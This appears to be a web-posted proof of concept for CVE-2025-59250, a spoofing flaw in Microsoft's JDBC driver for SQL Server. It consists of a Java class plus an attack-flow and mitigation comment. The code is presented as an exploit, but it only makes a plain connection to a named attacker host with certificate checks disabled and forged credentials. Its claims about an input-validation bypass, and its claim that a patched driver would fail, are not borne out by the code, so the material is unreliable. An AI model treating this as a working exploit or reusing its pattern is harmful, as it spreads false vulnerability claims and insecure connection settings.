CVE-2025-59250 Microsoft SQL Server JDBC驱动输入验证不当欺骗漏洞

/* * CVE-2025-59250 - Microsoft JDBC Driver for SQL Server Spoofing PoC * Vulnerability: Improper Input Validation allowing network-based spoofing * * This PoC demonstrates how an attacker can exploit the improper input * validation in the JDBC Driver to perform spoofing attacks. */ import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Properties; public class CVE_2025_59250_PoC { // Malicious JDBC URL with injected server address for spoofing // The driver fails to properly validate the serverName parameter, // allowing redirection to an attacker-controlled server private static final String MALICIOUS_URL = "jdbc:sqlserver://attacker-server.example.com:1433;" + "databaseName=master;" + "encrypt=true;" + "trustServerCertificate=true;" + "loginTimeout=10;" + "applicationName=LegitApp;" // Spoofed application name + "workstationId=WORKSTATION01;" // Spoofed workstation ID + "authentication=NotSpecified;"; // Properties with forged authentication credentials private static Properties buildSpoofedProperties() { Properties props = new Properties(); // Forged user credentials exploiting lack of input validation props.setProperty("user", "admin"); props.setProperty("password", "forged_password"); props.setProperty("hostNameInCertificate", "*.database.windows.net"); // Inject malicious server name to redirect connection props.setProperty("serverName", "attacker-server.example.com"); props.setProperty("portNumber", "1433"); return props; } public static void main(String[] args) { System.out.println("[*] CVE-2025-59250 PoC - JDBC Driver Spoofing"); System.out.println("[*] Attempting connection with spoofed parameters..."); Properties spoofedProps = buildSpoofedProperties(); try { // Load vulnerable JDBC driver Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); // Attempt connection - driver fails to validate inputs, // allowing connection to attacker-controlled server Connection conn = DriverManager.getConnection(MALICIOUS_URL, spoofedProps); System.out.println("[+] Connection established (spoofed)"); System.out.println("[+] Server: " + conn.getMetaData().getURL()); System.out.println("[+] Database: " + conn.getMetaData().getDatabaseProductName()); conn.close(); } catch (ClassNotFoundException e) { System.out.println("[-] JDBC Driver not found: " + e.getMessage()); } catch (SQLException e) { System.out.println("[!] SQL Exception (expected with patched driver): " + e.getMessage()); System.out.println("[!] Error Code: " + e.getErrorCode()); System.out.println("[!] SQL State: " + e.getSQLState()); } } } /* * Attack Flow: * 1. Attacker crafts a malicious JDBC connection URL with spoofed server parameters * 2. Victim is tricked (via social engineering) into using the malicious URL * 3. The vulnerable JDBC driver fails to validate the input parameters * 4. Connection is redirected to attacker-controlled server * 5. Attacker can intercept credentials, inject responses, or impersonate the server * * Mitigation: * - Update Microsoft JDBC Driver for SQL Server to the latest patched version * - Validate connection strings before use * - Use certificate pinning for database connections */